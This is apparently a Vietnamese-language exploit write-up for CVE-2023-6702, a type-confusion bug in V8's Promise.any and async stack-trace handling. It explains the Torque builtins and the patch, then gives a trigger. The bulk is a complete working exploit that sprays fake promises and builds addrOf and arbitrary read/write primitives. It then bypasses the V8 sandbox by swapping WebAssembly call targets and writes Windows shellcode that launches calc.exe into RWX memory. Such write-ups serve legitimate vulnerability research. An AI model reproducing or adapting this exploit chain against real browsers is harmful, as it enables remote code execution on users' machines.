# CVE-2023-6702
## Phân tích `Promise.any`
```cpp=
transitioning javascript builtin PromiseAny(
js-implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {
const nativeContext = LoadNativeContext(context);
// 1. Let C be the this value.
const receiver = Cast<JSReceiver>(receiver)
otherwise ThrowTypeError(MessageTemplate::kCalledOnNonObject, 'Promise.any');
// 2. Let promiseCapability be ? NewPromiseCapability(C).
const capability = NewPromiseCapability(receiver, False);
// NewPromiseCapability guarantees that receiver is Constructor.
dcheck(Is<Constructor>(receiver));
const constructor = UnsafeCast<Constructor>(receiver);
try {
// 3. Let promiseResolve be GetPromiseResolve(C).
// 4. IfAbruptRejectPromise(promiseResolve, promiseCapability).
// (catch below)
const promiseResolveFunction =
GetPromiseResolve(nativeContext, constructor);
...
const iteratorRecord = iterator::GetIterator(iterable);
...
return PerformPromiseAny(
nativeContext, iteratorRecord, constructor, capability,
promiseResolveFunction)
```
* Đầu tiên chương trình tạo 1 `promiseCapability`. Ở hàm này thì nó sẽ khởi tạo dùng constructor là `receiver`. Ở đây class này phải có biểu hiện giống vs `Promise` đó là phải nhận tham số là 1 hàm và phải gọi hàm với 2 tham số là 2 callback
* Ví dụ ở đây
```cpp=
function PromiseLike(executor) {
executor(()=>{}, ()=>{});
}
```
* Tiếp đến chương trình lấy hàm `resolve` của class này thông qua hàm `GetPromiseResolve`. Ở đây hàm dc lấy theo tên `class.resolve`
* Tiếp đến là lấy iterator của input rồi gọi tới hàm `PerformPromiseAny`
* Đầu tiên hàm này tạo 1 context để kiểm soát các promise
```cpp=
const rejectElementContext =
CreatePromiseAnyRejectElementContext(resultCapability, nativeContext);
```
```cpp=
// Creates the context used by all Promise.any reject element closures,
// together with the errors array. Since all closures for a single Promise.any
// call use the same context, we need to store the indices for the individual
// closures somewhere else (we put them into the identity hash field of the
// closures), and we also need to have a separate marker for when the closure
// was called already (we slap the native context onto the closure in that
// case to mark it's done). See Promise.all which uses the same approach.
transitioning macro CreatePromiseAnyRejectElementContext(
implicit context: Context)(capability: PromiseCapability,
nativeContext: NativeContext): PromiseAnyRejectElementContext {
const rejectContext = %RawDownCast<PromiseAnyRejectElementContext>(
AllocateSyntheticFunctionContext(
nativeContext,
PromiseAnyRejectElementContextSlots::kPromiseAnyRejectElementLength));
InitContextSlot(
rejectContext,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementRemainingSlot,
1);
InitContextSlot(
rejectContext,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementCapabilitySlot,
capability);
InitContextSlot(
rejectContext,
PromiseAnyRejectElementContextSlots::kPromiseAnyRejectElementErrorsSlot,
kEmptyFixedArray);
return rejectContext;
}
```
* Kế tiếp hàm thực hiện gọi hàm `resolve` với từng phần tử trong input
```cpp=
nextPromise = CallResolve(constructor, promiseResolveFunction, nextValue);
```
```cpp=
transitioning macro CallResolve(
implicit context: Context)(constructor: Constructor, resolve: JSAny,
value: JSAny): JSAny {
// Undefined can never be a valid value for the resolve function,
// instead it is used as a special marker for the fast path.
if (resolve == Undefined) {
return PromiseResolve(constructor, value);
} else
deferred {
return Call(context, UnsafeCast<Callable>(resolve), constructor, value);
}
}
```
* Nếu `resolve == undefined` thì sẽ gọi `Promise.resolve`
* Hàm `resolve` theo định nghĩa ở [đây](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve)
```
The Promise.resolve() static method "resolves" a given value to a Promise.
If the value is a promise, that promise is returned; if the value is a thenable,
Promise.resolve() will call the then() method with two callbacks it prepared;
otherwise the returned promise will be fulfilled with the value.
```
* Hàm này đơn giản sẽ wrap `value` thành 1 `Promise` hoặc `thenable` sau đó thực hiện `Fulfill` hoặc `Reject`. Ở đây tức là nó thực hiện add các `promise->reactions` vào `microTask` nếu có và gán `promise.reactions_or_result` thành `value`
* Các `promise.reactions` là 1 struct có cấu trúc như sau
```cpp=
extern class PromiseReaction extends Struct {
next: PromiseReaction|Zero;
reject_handler: Callable|Undefined;
fulfill_handler: Callable|Undefined;
// Either a JSPromise (in case of native promises), a PromiseCapability
// (general case), or undefined (in case of await).
promise_or_capability: JSPromise|PromiseCapability|Undefined;
@if(V8_ENABLE_CONTINUATION_PRESERVED_EMBEDDER_DATA)
continuation_preserved_embedder_data: Object|Undefined;
}
```
* Nó lưu trữ `promise` và 2 callback function để thực hiện gọi tương ứng khi `promise.status` là fulfill hay reject. `next` ở đây là trỏ đến `reaction` tiếp theo, trường hợp này xảy ra khi chương trình thực thi sử dụng `then` để chain `promise`
* Tóm lại đoạn code
```cpp=
nextPromise = CallResolve(constructor, promiseResolveFunction, nextValue);
```
ở đây `CallResolve` phải trả về 1 `promise` hoặc `thenable` object
* Ví dụ cho việc trả về 1 `thenable`
```javascript=
function PromiseLike(executor) {
executor(()=>{}, ()=>{});
}
PromiseLike.resolve = function() {
return {then: function(resolve, reject) {}};
}
```
* Tiếp đến hàm này tạo 1 `rejectElement`
```cpp=
macro CreatePromiseAnyRejectElementFunction(
implicit context: Context)(
rejectElementContext: PromiseAnyRejectElementContext, index: Smi,
nativeContext: NativeContext): JSFunction {
dcheck(index > 0);
dcheck(index < kPropertyArrayHashFieldMax);
const map = *ContextSlot(
nativeContext, ContextSlot::STRICT_FUNCTION_WITHOUT_PROTOTYPE_MAP_INDEX);
const rejectInfo = PromiseAnyRejectElementSharedFunConstant();
const reject =
AllocateFunctionWithMapAndContext(map, rejectInfo, rejectElementContext);
dcheck(kPropertyArrayNoHashSentinel == 0);
reject.properties_or_hash = index;
return reject;
}
```
* Ở đây sẽ trả về 1 function với `properties_hash` là index của phần tử, hàm này cũng chứa context là `rejectElementContext`. Hàm này sẽ dc gọi khi promise reject
* Tiếp theo chương trình tăng biến đếm ở `rejectElementContext`
* Sau đó gọi hàm `then` của object `promise` dc trả về trước đó với 2 tham số là 2 callback `resultCapability.resolve` và `rejectElement` trước đó
* Cứ tiếp tục duyệt như vậy cho đến hết
* Phân tích hàm `rejectElement` này. Đầu tiên ở đây `%DebugPrint` để xem hàm này gọi như nào
```javascript=
function PromiseLike(executor) {
executor(()=>{}, ()=>{});
}
PromiseLike.resolve = function() {
return {then: function(resolve, reject) {
%DebugPrint(reject)
}};
}
Promise.any.call(PromiseLike, [1])
```

* Ở đây thấy được đây là 1 hàm builtin `PromiseAnyRejectElementClosure`
* Đầu tiên hàm này sẽ check xem nếu `context` có phải `NativeContext` hay ko
```cpp=
// We use the function's context as the marker to remember whether this
// reject element closure was already called. It points to the reject
// element context (which is a FunctionContext) until it was called the
// first time, in which case we make it point to the native context here
// to mark this reject element closure as done.
if (IsNativeContext(context)) deferred {
return Undefined;
}
```
* Như comment thì hàm này khi được gọi lần đầu tiên thì `context` sẽ được thay đổi thành `NativeContext`. Như vậy ở đây tức là hàm này sẽ chỉ được thực thi 1 lần
```cpp=
const nativeContext = LoadNativeContext(context);
target.context = nativeContext;
```
* Tiếp theo lưu `value` vào `PromiseAnyRejectElementErrorsSlot` dựa trên `index` được lấy từ `hash`
* Kế tiếp nếu ko còn phần từ nào thì sẽ set error `AggregateError`
```cpp=
if (remainingElementsCount == 0) {
// a. Let error be a newly created AggregateError object.
// b. Set error.[[AggregateErrors]] to errors.
const error = ConstructAggregateError(errors);
// After this point, errors escapes to user code. Clear the slot.
*errorsRef = kEmptyFixedArray;
// c. Return ? Call(promiseCapability.[[Reject]], undefined, « error »).
const capability = *ContextSlot(
context,
PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementCapabilitySlot);
Call(context, UnsafeCast<Callable>(capability.reject), Undefined, error);
}
```
# Patch
```cpp=
diff --git a/src/execution/isolate.cc b/src/execution/isolate.cc
index 2836228..5a4ccd7 100644
--- a/src/execution/isolate.cc
+++ b/src/execution/isolate.cc
@@ -1042,7 +1042,13 @@
isolate);
builder->AppendPromiseCombinatorFrame(function, combinator);
- // Now peak into the Promise.all() resolve element context to
+ if (IsNativeContext(*context)) {
+ // NativeContext is used as a marker that the closure was already
+ // called. We can't access the reject element context any more.
+ return;
+ }
+
+ // Now peek into the Promise.all() resolve element context to
// find the promise capability that's being resolved when all
// the concurrent promises resolve.
int const index =
@@ -1061,7 +1067,13 @@
context->native_context()->promise_all_settled(), isolate);
builder->AppendPromiseCombinatorFrame(function, combinator);
- // Now peak into the Promise.allSettled() resolve element context to
+ if (IsNativeContext(*context)) {
+ // NativeContext is used as a marker that the closure was already
+ // called. We can't access the reject element context any more.
+ return;
+ }
+
+ // Now peek into the Promise.allSettled() resolve element context to
// find the promise capability that's being resolved when all
// the concurrent promises resolve.
int const index =
@@ -1079,7 +1091,13 @@
isolate);
builder->AppendPromiseCombinatorFrame(function, combinator);
- // Now peak into the Promise.any() reject element context to
+ if (IsNativeContext(*context)) {
+ // NativeContext is used as a marker that the closure was already
+ // called. We can't access the reject element context any more.
+ return;
+ }
+
+ // Now peek into the Promise.any() reject element context to
// find the promise capability that's being resolved when any of
// the concurrent promises resolve.
int const index = PromiseBuiltins::kPromiseAnyRejectElementCapabilitySlot;
```
* Bug nằm ở hàm `CaptureAsyncStackTrace`
* [link](https://v8.dev/docs/stack-trace-api)
* Bug ở đây khi `context` của hàm handler là `NativeContext` tức là hàm này đã được gọi nma vẫn được dùng làm handler cho các `promise` sau
* Ở đây thay vì lấy `context->capability->promise` thì nó lại lấy `NativeContext->JSGlobalProxy->hash`
* Đoạn trigger bug của tác giả
```javascript=
class CustomPromise extends Promise {
constructor(executor) {
super(executor);
}
static resolve() {
return {
then(resolve, reject) {
Promise.resolve().then(BigInt).then(resolve, reject);
reject();
}
};
}
}
CustomPromise.any([1]);
```
* Đầu tiên là gọi hàm `reject` để làm `context` thành `NativeContext`. Sau đó gán `reject` làm handler cho `then(BigInt)`. `BigInt` được gọi với tham số không hợp lệ sẽ tạo 1 object `Error` và thực hiện capture stack trace
* Hàm `CaptureAsyncStackTrace` sẽ thực hiện duyệt promise chain đến khi nào gặp 1 generator(chương trình vào luồng này khi capture async function) hoặc 1 handler builtin
```cpp=
// We have some generic promise chain here, so try to
// continue with the chained promise on the reaction
// (only works for native promise chains).
Handle<HeapObject> promise_or_capability(
reaction->promise_or_capability(), isolate);
if (IsJSPromise(*promise_or_capability)) {
promise = Handle<JSPromise>::cast(promise_or_capability);
} else if (IsPromiseCapability(*promise_or_capability)) {
Handle<PromiseCapability> capability =
Handle<PromiseCapability>::cast(promise_or_capability);
if (!IsJSPromise(capability->promise())) return;
promise = handle(JSPromise::cast(capability->promise()), isolate);
} else {
// Otherwise the {promise_or_capability} must be undefined here.
CHECK(IsUndefined(*promise_or_capability, isolate));
return;
}
```
# Khai thác
* Đầu tiên khi nó lấy `hash` làm `capability`, do `hash` là 1 smi nên địa chỉ sẽ bị lệch 1 byte khi resolve vậy nên khi tạo fake promise thì sẽ phải dịch đi 1 byte
```javascript=
let fakeJSPromise = [pair_32_to_f(promiseMap << 8, emptyFixedArray << 8),
pair_32_to_f(emptyFixedArray << 8, (fakeObjArrEle + 0x10) << 8),
pair_32_to_f(0x0, 0x41414141), // status
]
```
* Do giá trị `hash` là ngẫu nhiên nên phải thực hiện spray promise, xác suất giá trị `hash` rơi vào đúng các fake promise khá thấp nma khi chạy trên chrome thì phải dùng [iframe technique](https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/)
* Tạo thật nhiều frame chạy poc, nếu 1 frame con crash thì các frame khác sẽ không ảnh hưởng
* Build 1 fake frame
```javascript=
var fakeObjArr = [pair_32_to_f(packDoubleArrMap, emptyFixedArray),
pair_32_to_f(fakeObjArrEle + 0x20, 0x222),// elements and length
pair_32_to_f(reactionMap, 0),// reaction
pair_32_to_f(0x61, fakeObjArrEle + 0x20),// fake fulfill
// |
// v
pair_32_to_f(JSFunctionMap, emptyFixedArray), // fake AsyncFunctionAwaitResolve
pair_32_to_f(emptyFixedArray, AsyncFunctionAwaitResolveClosureCodeIndex),
pair_32_to_f(0x41414141, fakeObjArrEle + 0x38), // context
pair_32_to_f(mapScriptContext, 0x10), // fake context
pair_32_to_f(0x41414141, 0x41414141),
pair_32_to_f(fakeObjArrEle + 0x50, 0x41414141), // generator
pair_32_to_f(generatorMap, 0x41414141), // fake generator
pair_32_to_f(0x41414141, fooAddr), // jsfunc
pair_32_to_f(0x41414141, fakeObjArrEle), // receiver
pair_32_to_f(0x41414141, 0x41414141),
pair_32_to_f(0x0, 0x41414141), // continuation
]
```
* Tạo 1 hàm để dùng cho `function` field của object
```javascript=
function foo() {}
foo() // this used for fake jsfunction
```
* Ở đây ta quan tâm đến `generator_object->receiver()` ở hàm `AppendAsyncFrame`
* Trong v8 ta có thể tự custom 1 cái error handler theo như ở [đây](https://v8.dev/docs/stack-trace-api)
* `Error.prepareStackTrace(error, structuredStackTrace)`
* Sử dụng `getThis` để lấy `receiver`. Ở đây fake `receiver` là 1 pack element array với size lớn
* Hàm `prepareStackTrace` sẽ được trigger khi thực hiện truy vấn `e.stack`
* Ở đây sử dụng
```javascript=
function PromiseLike(executor) {
executor(()=>{}, ()=>{});
}
PromiseLike.resolve = function() {
return {then: function(resolve, reject) {
Promise.resolve().then(() => {throw new Error("ngu")}).then(null, (e)=>{console.log(e.stack)}).then(null, reject);
reject()
// resolve()
// dp(resolve)
}};
}
```
* Chèn thêm 1 hàm `then` ở giữa để chương trình pass `Error` cho hàm `(e)=>{console.log(e.stack)}`
# Bypass sandbox
* [link](https://issues.chromium.org/issues/334120897)
* Ở đây đầu tiên thấy cage base nằm ở đoạn đầu của cage
* Sau khi có `cage_base`, debug thấy `memory` của `wasm` ở vị trí `cage_base + 0x380000000`
* Có được địa chỉ `rwx` ở `wasmInstance->jump_table_start`
* Còn lại chỉ cần ghi shellcode vào vùng này
```javascript=
function dp(obj) {}//%DebugPrint(obj)}
function dpp(ptr) {}//%DebugPrintPtr(ptr)}
let buf = new ArrayBuffer(8);
let f64 = new Float64Array(buf);
let i64 = new BigUint64Array(buf);
let i32 = new Uint32Array(buf);
function itof(val) {
i64[0] = BigInt(val);
return f64[0];
}
function ftoi(val) {
f64[0] = val;
return i64[0];
}
function pair_32_to_f(low, high)
{
i32[0] = low;
i32[1] = high;
return f64[0];
}
function mark_sweep_gc() {
new ArrayBuffer(0x7fe00000);
}
function scavenge_gc() {
for (var i = 0; i < 8; i++) {
new ArrayBuffer(0x200000)
}
new ArrayBuffer(8)
}
function PromiseLike(executor) {
executor(()=>{}, ()=>{});
}
PromiseLike.resolve = function() {
return {then: function(resolve, reject) {
Promise.resolve().then(() => {throw new Error("ngu")}).then(null, (e)=>{console.log(e.stack)}).then(null, reject);
reject()
// resolve()
// dp(resolve)
}};
}
function foo() {}
foo() // this used for fake jsfunction
let promiseMap = 0x018b445
let reactionMap = 0x12dd
let generatorMap = 0x019a1b1
let packDoubleArrMap = 0x18ec11
let packElementMap = 0x18ec91
let emptyFixedArray = 0x6a5
let builtinResolveFunc = 0x4B2E9
let awaitResolveClosure = 0x1841fd
let JSFunctionMap = 0x184189
let AsyncFunctionAwaitResolveClosureCode = 0x294a5
let AsyncFunctionAwaitResolveClosureCodeIndex = 0x10f5001
let undefinedAddr = 0x61
let mapScriptContext = 0x19209d
let fixedArrayMap = 0x00000565
// JSPromise: map| properties
// : elements|result_reactions
// : status
// reactions: map | next
// : reject | fulfill
// : promise_or_capability
// JSGeneratorObject: map | properties
// : elements | jsfunc
// : context | receiver
// input_or_debug_pos | resume_mode
// : continuation | parameters_and_registers
// fulfill:code 0xc
// generator:continue 0x20
// generator:func 0xc
// generator:receiver 0x14
// JSFunction:context 0x14
// Context: map | len
// : scope_info | previous -> arr[0], arr[1]
// : extension arr[2]
// enum Field {
// // TODO(shell): use offset-based approach for accessing common values.
// // These slots are in all contexts.
// SCOPE_INFO_INDEX,
// PREVIOUS_INDEX,
// // This slot only exists if ScopeInfo::HasContextExtensionSlot returns true.
// EXTENSION_INDEX,
let fakeObjArrEle = 0x20c455 + 8
let fooAddr = 0x19ABFD
// let fakeObjArrEle = 0x30680d + 8
// let fooAddr = 0x19A77d
var fakeObjArr = [pair_32_to_f(packDoubleArrMap, emptyFixedArray),
pair_32_to_f(fakeObjArrEle + 0x20, 0x222),// elements and length
pair_32_to_f(reactionMap, 0),// reaction
pair_32_to_f(0x61, fakeObjArrEle + 0x20),// fake fulfill
// |
// v
pair_32_to_f(JSFunctionMap, emptyFixedArray), // fake AsyncFunctionAwaitResolve
pair_32_to_f(emptyFixedArray, AsyncFunctionAwaitResolveClosureCodeIndex),
pair_32_to_f(0x41414141, fakeObjArrEle + 0x38), // context
pair_32_to_f(mapScriptContext, 0x10), // fake context
pair_32_to_f(0x41414141, 0x41414141),
pair_32_to_f(fakeObjArrEle + 0x50, 0x41414141), // generator
pair_32_to_f(generatorMap, 0x41414141), // fake generator
pair_32_to_f(0x41414141, fooAddr), // jsfunc
pair_32_to_f(0x41414141, fakeObjArrEle), // receiver
pair_32_to_f(0x41414141, 0x41414141),
pair_32_to_f(0x0, 0x41414141), // continuation
]
// scavenge_gc()
// mark_sweep_gc()
let fakeJSPromise = [pair_32_to_f(promiseMap << 8, emptyFixedArray << 8),
pair_32_to_f(emptyFixedArray << 8, (fakeObjArrEle + 0x10) << 8),
pair_32_to_f(0x0, 0x41414141), // status
]
var xx = new Array(fakeJSPromise[0], fakeJSPromise[1], fakeJSPromise[2]);
for(let i = 0; i < 0x10000; i++)
{
xx.push(fakeJSPromise[0]);
xx.push(fakeJSPromise[1]);
xx.push(fakeJSPromise[2]);
xx.push(fakeJSPromise[0]);
xx.push(fakeJSPromise[1]);
xx.push(fakeJSPromise[2]);
}
var x = new Array(fakeJSPromise[0], fakeJSPromise[1], fakeJSPromise[2]);
for(let i = 0; i < 0x10000; i++)
{
x.push(fakeJSPromise[0]);
x.push(fakeJSPromise[1]);
x.push(fakeJSPromise[2]);
x.push(fakeJSPromise[0]);
x.push(fakeJSPromise[1]);
x.push(fakeJSPromise[2]);
}
var fakeObj = []
Error.prepareStackTrace = function(error, structuredStackTrace) {
if(structuredStackTrace.length > 2)
{
console.log("There's " + structuredStackTrace.length + " frames.");
console.log(error.stack);
let len = structuredStackTrace.length;
fakeObj = structuredStackTrace[len - 1].getThis();
function addrOf(obj)
{
fakeObjArr[0] = pair_32_to_f(packElementMap, emptyFixedArray)
fakeObj[0] = obj
fakeObjArr[0] = pair_32_to_f(packDoubleArrMap, emptyFixedArray)
let ret = ftoi(fakeObj[0]) & 0xffffffffn
fakeObjArr[0] = pair_32_to_f(packDoubleArrMap, emptyFixedArray)
fakeObjArr[1] = pair_32_to_f(fakeObjArrEle + 0x20, 0x222)// elements and length
return ret;
}
function fakeObj_(addr)
{
fakeObjArr[0] = pair_32_to_f(packDoubleArrMap, emptyFixedArray)
fakeObj[0] = itof(addr)
fakeObjArr[0] = pair_32_to_f(packElementMap, emptyFixedArray)
return fakeObj[0];
}
function read_4(addr)
{
fakeObjArr[0] = pair_32_to_f(packDoubleArrMap, emptyFixedArray)
fakeObjArr[1] = pair_32_to_f(Number(addr) - 0x38, 0x222) // use index 6 since read may change data near the addr
let ret = ftoi(fakeObj[6]) & 0xffffffffn;
fakeObjArr[0] = pair_32_to_f(packDoubleArrMap, emptyFixedArray)
fakeObjArr[1] = pair_32_to_f(fakeObjArrEle + 0x20, 0x222)// elements and length
return ret;
}
function write_4(addr, val)
{
fakeObjArr[0] = pair_32_to_f(packDoubleArrMap, emptyFixedArray)
fakeObjArr[1] = pair_32_to_f(Number(addr) - 8, 0x222)
let old = ftoi(fakeObj[0])
old = (old & 0xffffffff00000000n) | (BigInt(val) & 0xffffffffn)
fakeObj[0] = itof(old)
fakeObjArr[0] = pair_32_to_f(packDoubleArrMap, emptyFixedArray)
fakeObjArr[1] = pair_32_to_f(fakeObjArrEle + 0x20, 0x222)// elements and length
}
function get_call_target(func)
{
let addr = addrOf(func);
let shared_func_info = read_4(addr + 0x10n);
let function_data = read_4(shared_func_info + 0x8n);
let internal = read_4(function_data + 0x4n);
let call_target = read_4(internal + 0x14n);
return call_target;
}
function swap_call_target(func1, func2)
{
let call_target1 = get_call_target(func1);
let call_target2 = get_call_target(func2);
// console.log(call_target1.toString(16))
// console.log(call_target2.toString(16))
let addr1 = addrOf(func1);
let shared_func_info1 = read_4(addr1 + 0x10n);
let function_data1 = read_4(shared_func_info1 + 0x8n);
let internal1 = read_4(function_data1 + 0x4n);
// console.log(shared_func_info1.toString(16))
// console.log(function_data1.toString(16))
// console.log(internal1.toString(16))
let addr2 = addrOf(func2);
let shared_func_info2 = read_4(addr2 + 0x10n);
let function_data2 = read_4(shared_func_info2 + 0x8n);
let internal2 = read_4(function_data2 + 0x4n);
// console.log(shared_func_info2.toString(16))
// console.log(function_data2.toString(16))
// console.log(internal2.toString(16))
write_4(internal1 + 0x14n, Number(call_target2));
write_4(internal2 + 0x14n, Number(call_target1));
}
var wasmArr = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x15, 0x04, 0x60,
0x02, 0x7e, 0x7e, 0x00, 0x60, 0x01, 0x7e, 0x01, 0x7e, 0x60, 0x02, 0x7f,
0x7e, 0x00, 0x60, 0x01, 0x7f, 0x01, 0x7e, 0x03, 0x05, 0x04, 0x00, 0x01,
0x02, 0x03, 0x05, 0x03, 0x01, 0x00, 0x01, 0x07, 0x2d, 0x04, 0x09, 0x6f,
0x6f, 0x62, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x00, 0x00, 0x08, 0x6f,
0x6f, 0x62, 0x5f, 0x72, 0x65, 0x61, 0x64, 0x00, 0x01, 0x08, 0x64, 0x6f,
0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x00, 0x02, 0x07, 0x64, 0x6f, 0x5f,
0x72, 0x65, 0x61, 0x64, 0x00, 0x03, 0x0a, 0x1c, 0x04, 0x03, 0x00, 0x01,
0x0b, 0x04, 0x00, 0x42, 0x00, 0x0b, 0x09, 0x00, 0x20, 0x00, 0x20, 0x01,
0x37, 0x03, 0x00, 0x0b, 0x07, 0x00, 0x20, 0x00, 0x29, 0x03, 0x00, 0x0b,
0x00, 0x64, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x01, 0x29, 0x04, 0x00, 0x09,
0x6f, 0x6f, 0x62, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x01, 0x08, 0x6f,
0x6f, 0x62, 0x5f, 0x72, 0x65, 0x61, 0x64, 0x02, 0x08, 0x64, 0x6f, 0x5f,
0x77, 0x72, 0x69, 0x74, 0x65, 0x03, 0x07, 0x64, 0x6f, 0x5f, 0x72, 0x65,
0x61, 0x64, 0x02, 0x32, 0x04, 0x00, 0x02, 0x00, 0x04, 0x76, 0x61, 0x72,
0x31, 0x01, 0x04, 0x76, 0x61, 0x72, 0x32, 0x01, 0x01, 0x00, 0x04, 0x76,
0x61, 0x72, 0x31, 0x02, 0x02, 0x00, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65,
0x74, 0x01, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x03, 0x01, 0x00, 0x06,
0x6f, 0x66, 0x66, 0x73, 0x65, 0x74])
var wasmModule = new WebAssembly.Module(wasmArr);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasmExports = wasmInstance.exports;
var oob_read = wasmExports.oob_read
var oob_write = wasmExports.oob_write
var do_read = wasmExports.do_read
var do_write = wasmExports.do_write
oob_read(0n)
oob_write(0n, 0n)
do_read(0)
do_write(0, 0n)
fakeObjArr[0] = pair_32_to_f(packDoubleArrMap, emptyFixedArray)
fakeObjArr[1] = pair_32_to_f(0x25 - 0x8, 0x222)
var base = ftoi(fakeObj[0]) & 0xffffffffn;
base = base << 32n
var memory_base = base + 0x380000000n
fakeObjArr[1] = pair_32_to_f(fakeObjArrEle + 0x20, 0x222)
console.log("Base: 0x" + base.toString(16))
console.log("Memory Base: 0x" + memory_base.toString(16))
var instance_addr = addrOf(wasmInstance)
var lower_rwx = read_4(instance_addr + 0x48n) & 0xffffffffn
var upper_rwx = read_4(instance_addr + 0x4cn) & 0xffffffffn
var rwx_addr = (upper_rwx << 32n) | lower_rwx
console.log("RWX: 0x" + rwx_addr.toString(16))
var target = rwx_addr + 0xe00n
swap_call_target(oob_read, do_read)
swap_call_target(oob_write, do_write)
// oob_write(target - memory_base, 0x9090909090909090n)
// oob_read(0x111111111111111n)
// dp(oob_read)
// dp(wasmInstance)
var shellcode = [0x54, // push rsp due to movaps issue
0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x42, 0x60, 0x48, 0x8b, 0x70, 0x18, 0x48, 0x8b, 0x76, 0x20,
0x4c, 0x8b, 0x0e, 0x4d, 0x8b, 0x09, 0x4d, 0x8b, 0x49, 0x20, 0xeb, 0x63, 0x41, 0x8b, 0x49, 0x3c,
0x4d, 0x31, 0xff, 0x41, 0xb7, 0x88, 0x4d, 0x01, 0xcf, 0x49, 0x01, 0xcf, 0x45, 0x8b, 0x3f, 0x4d,
0x01, 0xcf, 0x41, 0x8b, 0x4f, 0x18, 0x45, 0x8b, 0x77, 0x20, 0x4d, 0x01, 0xce, 0xe3, 0x3f, 0xff,
0xc9, 0x48, 0x31, 0xf6, 0x41, 0x8b, 0x34, 0x8e, 0x4c, 0x01, 0xce, 0x48, 0x31, 0xc0, 0x48, 0x31,
0xd2, 0xfc, 0xac, 0x84, 0xc0, 0x74, 0x07, 0xc1, 0xca, 0x0d, 0x01, 0xc2, 0xeb, 0xf4, 0x44, 0x39,
0xc2, 0x75, 0xda, 0x45, 0x8b, 0x57, 0x24, 0x4d, 0x01, 0xca, 0x41, 0x0f, 0xb7, 0x0c, 0x4a, 0x45,
0x8b, 0x5f, 0x1c, 0x4d, 0x01, 0xcb, 0x41, 0x8b, 0x04, 0x8b, 0x4c, 0x01, 0xc8, 0xc3, 0xc3, 0x41,
0xb8, 0x98, 0xfe, 0x8a, 0x0e, 0xe8, 0x92, 0xff, 0xff, 0xff, 0x48, 0x31, 0xc9, 0x51, 0x48, 0xb9,
0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x51, 0x48, 0x8d, 0x0c, 0x24, 0x48, 0x31, 0xd2,
0x48, 0xff, 0xc2, 0x48, 0x83, 0xec, 0x28, 0xff, 0xd0]
const padSize = (8 - (shellcode.length % 8)) % 8;
shellcode = [...shellcode, ...new Array(padSize).fill(0x90)];
var byte_arr = new ArrayBuffer(shellcode.length);
var byte_arr_view8 = new Uint8Array(byte_arr);
var byte_arr_view64 = new BigUint64Array(byte_arr);
for (var i = 0; i < shellcode.length; i++) {
byte_arr_view8[i] = shellcode[i];
}
console.log("Size: 0x" + byte_arr_view64.length.toString(16))
for(let i = 0; i < byte_arr_view64.length; i++)
oob_write(target + BigInt(i * 8) - memory_base, byte_arr_view64[i]);
oob_write(rwx_addr + 0xan - memory_base, 0xc6ce900000df1e9n)
oob_write(0n, 0n)
}
}
Promise.any.call(PromiseLike, [1])
//function->shared_func_info(0x10)->function_data(0x8)->internal(0x4)->call_target(0x14)(index)
```